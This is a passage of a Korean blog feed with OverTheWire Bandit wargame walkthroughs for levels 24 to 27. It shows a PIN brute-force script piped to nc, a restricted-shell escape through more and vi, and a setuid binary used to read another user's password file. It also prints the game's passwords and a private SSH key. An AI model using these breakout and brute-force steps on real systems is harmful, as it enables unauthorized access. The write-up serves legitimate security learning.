&lt;p data-ke-size=&quot;size16&quot;&gt;다 파일 clone 했으니까 확인해보면&lt;/p&gt;
&lt;pre id=&quot;code_1765367071370&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿KimMDR)-[~]
└─$ ls
bandit13  password.txt  repo

┌──(miso㉿KimMDR)-[~]
└─$ cd repo

┌──(miso㉿KimMDR)-[~/repo]
└─$ ls
README

┌──(miso㉿KimMDR)-[~/repo]
└─$ cat README
The password to the next level is: Yz9IpL0sBcCeuG7m9uQFt8ZNpS4HZRcN&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한건 서버가 아닌 로컬에서 clone 하는 문제였네용&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/58</guid>
      <comments>https://jokkams.tistory.com/58#entry58comment</comments>
      <pubDate>Wed, 10 Dec 2025 20:45:29 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 25 -&amp;gt; 27</title>
      <link>https://jokkams.tistory.com/57</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt; Logging in to bandit26 from bandit25 should be fairly easy&amp;hellip; The shell for user bandit26 is not&amp;nbsp;&lt;/span&gt;&lt;b&gt;/bin/bash&lt;/b&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;, but something else. Find out what it is, how it works and how to break out of it.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;hint: &lt;span style=&quot;text-align: start;&quot;&gt;ssh, cat, more, vi, ls, id, pwd&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;문제를 풀기 위해 바로 bandit25 서버로 입장해봤습니다&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1764846795571&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit25@bandit:~$ ls -al
total 40
drwxr-xr-x   2 root     root     4096 Oct 14 09:26 .
drwxr-xr-x 150 root     root     4096 Oct 14 09:29 ..
-rw-r-----   1 bandit25 bandit25   33 Oct 14 09:26 .bandit24.password
-r--------   1 bandit25 bandit25 1679 Oct 14 09:26 bandit26.sshkey
-rw-r-----   1 bandit25 bandit25  151 Oct 14 09:26 .banner
-rw-r--r--   1 root     root      220 Mar 31  2024 .bash_logout
-rw-r--r--   1 root     root     3851 Oct 14 09:19 .bashrc
-rw-r-----   1 bandit25 bandit25   66 Oct 14 09:26 .flag
-rw-r-----   1 bandit25 bandit25    4 Oct 14 09:26 .pin
-rw-r--r--   1 root     root      807 Mar 31  2024 .profile

bandit25@bandit:~$ cat bandit26.sshkey
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApis2AuoooEqeYWamtwX2k5z9uU1Afl2F8VyXQqbv/LTrIwdW
pTfaeRHXzr0Y0a5Oe3GB/+W2+PReif+bPZlzTY1XFwpk+DiHk1kmL0moEW8HJuT9
/5XbnpjSzn0eEAfFax2OcopjrzVqdBJQerkj0puv3UXY07AskgkyD5XepwGAlJOG
xZsMq1oZqQ0W29aBtfykuGie2bxroRjuAPrYM4o3MMmtlNE5fC4G9Ihq0eq73MDi
1ze6d2jIGce873qxn308BA2qhRPJNEbnPev5gI+5tU+UxebW8KLbk0EhoXB953Ix
3lgOIrT9Y6skRjsMSFmC6WN/O7ovu8QzGqxdywIDAQABAoIBAAaXoETtVT9GtpHW
qLaKHgYtLEO1tOFOhInWyolyZgL4inuRRva3CIvVEWK6TcnDyIlNL4MfcerehwGi
il4fQFvLR7E6UFcopvhJiSJHIcvPQ9FfNFR3dYcNOQ/IFvE73bEqMwSISPwiel6w
e1DjF3C7jHaS1s9PJfWFN982aublL/yLbJP+ou3ifdljS7QzjWZA8NRiMwmBGPIh
Yq8weR3jIVQl3ndEYxO7Cr/wXXebZwlP6CPZb67rBy0jg+366mxQbDZIwZYEaUME
zY5izFclr/kKj4s7NTRkC76Yx+rTNP5+BX+JT+rgz5aoQq8ghMw43NYwxjXym/MX
c8X8g0ECgYEA1crBUAR1gSkM+5mGjjoFLJKrFP+IhUHFh25qGI4Dcxxh1f3M53le
wF1rkp5SJnHRFm9IW3gM1JoF0PQxI5aXHRGHphwPeKnsQ/xQBRWCeYpqTme9amJV
tD3aDHkpIhYxkNxqol5gDCAt6tdFSxqPaNfdfsfaAOXiKGrQESUjIBcCgYEAxvmI
2ROJsBXaiM4Iyg9hUpjZIn8TW2UlH76pojFG6/KBd1NcnW3fu0ZUU790wAu7QbbU
i7pieeqCqSYcZsmkhnOvbdx54A6NNCR2btc+si6pDOe1jdsGdXISDRHFb9QxjZCj
6xzWMNvb5n1yUb9w9nfN1PZzATfUsOV+Fy8CbG0CgYEAifkTLwfhqZyLk2huTSWm
pzB0ltWfDpj22MNqVzR3h3d+sHLeJVjPzIe9396rF8KGdNsWsGlWpnJMZKDjgZsz
JQBmMc6UMYRARVP1dIKANN4eY0FSHfEebHcqXLho0mXOUTXe37DWfZza5V9Oify3
JquBd8uUptW1Ue41H4t/ErsCgYEArc5FYtF1QXIlfcDz3oUGz16itUZpgzlb71nd
1cbTm8EupCwWR5I1j+IEQU+JTUQyI1nwWcnKwZI+5kBbKNJUu/mLsRyY/UXYxEZh
ibrNklm94373kV1US/0DlZUDcQba7jz9Yp/C3dT/RlwoIw5mP3UxQCizFspNKOSe
euPeaxUCgYEAntklXwBbokgdDup/u/3ms5Lb/bm22zDOCg2HrlWQCqKEkWkAO6R5
/Wwyqhp/wTl8VXjxWo+W+DmewGdPHGQQ5fFdqgpuQpGUq24YZS8m66v5ANBwd76t
IZdtF5HXs2S5CADTwniUS5mX1HO9l5gUkk+h0cH5JnPtsMCnAUM+BRY=
-----END RSA PRIVATE KEY-----&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 bandit26 서버로 넘어가는 키는 그냥 줬길래 scp 명령어로 서버에서 로컬로 파일을 가져왔습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 ,bandit26 로그인까지 진행해보겠습니다&lt;/p&gt;
&lt;pre id=&quot;code_1764847118911&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;┌──(miso㉿Miso)-[~]
└─$ scp -P 2220 bandit25@bandit.labs.overthewire.org:/home/bandit25/bandit26.sshkey .
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-1
bandit25@bandit.labs.overthewire.org's password:
bandit26.sshkey                       100% 1679     2.0KB/s   00:00

┌──(miso㉿Miso)-[~]
└─$ ssh -i bandit26.sshkey -p2220 bandit26@bandit.labs.overthewire.org
                         _                     _ _ _
                        | |__   __ _ _ __   __| (_) |_
                        | '_ \ / _` | '_ \ / _` | | __|
                        | |_) | (_| | | | | (_| | | |_
                        |_.__/ \__,_|_| |_|\__,_|_|\__|


                      This is an OverTheWire game server.
            More information on http://www.overthewire.org/wargames

backend: gibson-1
.
.
.
  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
Connection to bandit.labs.overthewire.org closed.&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;연결이 바로 끊겨버리더라구요 그래서 bandit26 서버를 입장할 때 어떤 쉘이 실행되는지 확인해야하는데 아까 문제에서 bandit26번은 /bin/bash에서 쉘이 실행되지 않는다고 했잖아요? 그래서 일단 어떤 쉘이 실행되는지부터 찾아봐야해요&lt;/p&gt;
&lt;pre id=&quot;code_1764847386584&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit25@bandit:/home/bandit26$ cat /etc/passwd
.
.
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
.
.
.
.
.
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext  &amp;lt;--여기--

다들 명령어에grep bandit26 꼭 쓰세요 저처럼 하나하나 읽어보시지 마시고..
ex) 
bandit25@bandit:~$ cat /etc/passwd | grep bandit26
bandit26:x:11026:11026:bandit level 26:/home/bandit26:/usr/bin/showtext&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 showtext에 있다고 하니 한번 읽어볼까요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/home/bandit26 경로에 text.txt 파일을 more 형식으로 읽고 바로 나가진다고 하네요 그래서 아까 로그인하면 바로 나가졌던 것 같습니다.&lt;/p&gt;
&lt;pre id=&quot;code_1764847563043&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit25@bandit:~$ cd /usr/bin
bandit25@bandit:/usr/bin$ cat showtext
#!/bin/sh

export TERM=linux

exec more ~/text.txt
exit 0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 more 형식으로 txt 파일을 다 읽어야 서버가 종료되는거니까 다 읽지 못하게 창을 아주 작게 해봤습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;왼쪽 상단에 터미널 창 보이시나요?&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2879&quot; data-origin-height=&quot;1700&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgAZlC/dJMcaajtpzW/ukWoVW3rzKRDBGa6Dz34f1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgAZlC/dJMcaajtpzW/ukWoVW3rzKRDBGa6Dz34f1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgAZlC/dJMcaajtpzW/ukWoVW3rzKRDBGa6Dz34f1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgAZlC%2FdJMcaajtpzW%2FukWoVW3rzKRDBGa6Dz34f1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2879&quot; height=&quot;1700&quot; data-origin-width=&quot;2879&quot; data-origin-height=&quot;1700&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;창이 작아서 txt 파일을 다 못읽었기 때문에 서버가 닫히지 않았습니다 그래서 이걸 활용하여 vi를 해당 터미널에 입력했더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2877&quot; data-origin-height=&quot;1702&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/5soGH/dJMcafE5npE/caM4PeBMuk8mXNkv1lYqKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/5soGH/dJMcafE5npE/caM4PeBMuk8mXNkv1lYqKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/5soGH/dJMcafE5npE/caM4PeBMuk8mXNkv1lYqKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F5soGH%2FdJMcafE5npE%2FcaM4PeBMuk8mXNkv1lYqKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2877&quot; height=&quot;1702&quot; data-origin-width=&quot;2877&quot; data-origin-height=&quot;1702&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 ENTER 누르면 진행된다고 하길래 눌렀더니&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1002&quot; data-origin-height=&quot;310&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bBskOX/dJMcahv8kzb/NQialygruwcm069CMlJUY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bBskOX/dJMcahv8kzb/NQialygruwcm069CMlJUY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bBskOX/dJMcahv8kzb/NQialygruwcm069CMlJUY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbBskOX%2FdJMcahv8kzb%2FNQialygruwcm069CMlJUY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1002&quot; height=&quot;310&quot; data-origin-width=&quot;1002&quot; data-origin-height=&quot;310&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 vi 화면으로 넘어가집니다. 지금은 현재 INSERT 상태니까 저희가 명령어를 치려면 명령모드로 변경해야겠죠?&lt;/p&gt;
&lt;pre id=&quot;code_1764847925073&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/
~
~
~
~
~
~
~
~
~
~
~
~
~
~
-- INSERT --&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ESC 눌러서 명령모드로 변환하고, 쉘 모드로 들어가기 위해 명령어를 쳐줍니다&lt;/p&gt;
&lt;pre id=&quot;code_1764849032144&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;  _                     _ _ _   ___   __
 | |                   | (_) | |__ \ / /
 | |__   __ _ _ __   __| |_| |_   ) / /_
 | '_ \ / _` | '_ \ / _` | | __| / / '_ \
 | |_) | (_| | | | | (_| | | |_ / /| (_) |
 |_.__/ \__,_|_| |_|\__,_|_|\__|____\___/'
~
~
~
~
~
~
~
~
~
~
~
~
~
:set shell=/bin/bash
(ENTER 치고, 다시 sh 치면 쉘로 넘어가집니다)
:sh
bandit26@bandit:~$ ls
bandit27-do  text.txt
bandit26@bandit:~$ cat /etc/bandit_pass/bandit26
s0773xxkk0MXfdqOfPRVr9L3jJBUOgCZ &amp;lt;-- bandit26 password는 나왔어요&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;마침 bandit26 경로 폴더에 bandit27-do 파일도 있고, bandit26 password는 알았는데 이대로 끝나면 다음에 bandit26 -&amp;gt; 27들어갈때 또 쉘 변경하면서 고생해야 하니까 이왕 쉘 들어온 김에 bandit27 password도 찾아서 나갑시다&lt;/p&gt;
&lt;pre id=&quot;code_1764849423751&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit26@bandit:~$ ls -al
total 44
drwxr-xr-x   3 root     root      4096 Oct 14 09:26 .
drwxr-xr-x 150 root     root      4096 Oct 14 09:29 ..
-rwsr-x---   1 bandit27 bandit26 14884 Oct 14 09:26 bandit27-do
-rw-r--r--   1 root     root       220 Mar 31  2024 .bash_logout
-rw-r--r--   1 root     root      3851 Oct 14 09:19 .bashrc
-rw-r--r--   1 root     root       807 Mar 31  2024 .profile
drwxr-xr-x   2 root     root      4096 Oct 14 09:26 .ssh
-rw-r-----   1 bandit26 bandit26   258 Oct 14 09:26 text.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;역시 저번과 같이 bandit27-do 파일에 특수권한이 있습니다!&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그럼 특수권한을 사용해서 bandit27 서버의 password를 가져와 봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1764849527403&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit26@bandit:~$ ./bandit27-do cat &quot;/etc/bandit_pass/bandit27&quot;
upsNCc7vzaRDx6oZC6GiR6ERwe1MowGB&lt;/code&gt;&lt;/pre&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/57</guid>
      <comments>https://jokkams.tistory.com/57#entry57comment</comments>
      <pubDate>Thu, 4 Dec 2025 20:59:33 +0900</pubDate>
    </item>
    <item>
      <title>[OverTheWire] bandit 24 -&amp;gt; 25</title>
      <link>https://jokkams.tistory.com/56</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;text-align: start;&quot;&gt;You do not need to create new connections each time&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;오늘 사용할 명령어&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;vi&lt;/li&gt;
&lt;li&gt;nc&lt;/li&gt;
&lt;li&gt;bash&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;문제에서 브루트포스를 해보라고 하네요&lt;/span&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;브루트포스란(Brute:무식한-Force:)&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;: 무차별 대입 공격을 뜻하는 말로 &lt;span style=&quot;background-color: #ffffff; color: #585858; text-align: start;&quot;&gt;가능한 모든 경우의 수를 모두 탐색하면서 요구조건에 충족되는 결과만을 가져온다고 합니다&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #ffffff; color: #585858; text-align: start;&quot;&gt;그럼 brute-force를 하기위한 쉘 스크립트를 짜봐야겠죠?&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1764496403378&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#!/bin/bash

echo &quot;Brute-Forcing Start&quot;

bandit24_pass=gb8KRRCsshuZXI0tUuR6ypOFjiZbf3G8

for i in {0000..9999}
do
        echo $bandit24_pass $i &amp;gt;&amp;gt; bandit25_pass.txt
done&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 쉘 스크립트를 실행시키면&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;bandit24@bandit:/tmp/miso$ bash brute-forcing.sh&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;bandit25_pass.txt 에 password와 pincode가 정렬이 되겠죠?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 이걸 가지고 nc 명령어를 사용해서 데이터를 전송하고 bandit25 password를 받아봅시다&lt;/p&gt;
&lt;pre id=&quot;code_1764496761569&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bandit24@bandit:/tmp/miso$ cat bandit25_pass.txt | nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
Wrong! Please enter the correct current password and pincode. Try again.
.
.
.
.
.
.
Correct!
The password of user bandit25 is iCi86ttT4KSNe1armKiwbQNmB3YJP3q4&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 무차별 대입 공격을 통해 비밀번호를 가져올 수 있었습니다&lt;/p&gt;</description>
      <category>bandit</category>
      <author>jokkams</author>
      <guid isPermaLink="true">https://jokkams.tistory.com/56</guid>
      <comments>https://jokkams.tistory.com/56#entry56comment</comments>
      <pubDate>Sun, 30 Nov 2025 19:00:57 +0900</pubDate>
    </item>
  </channel>
</rss>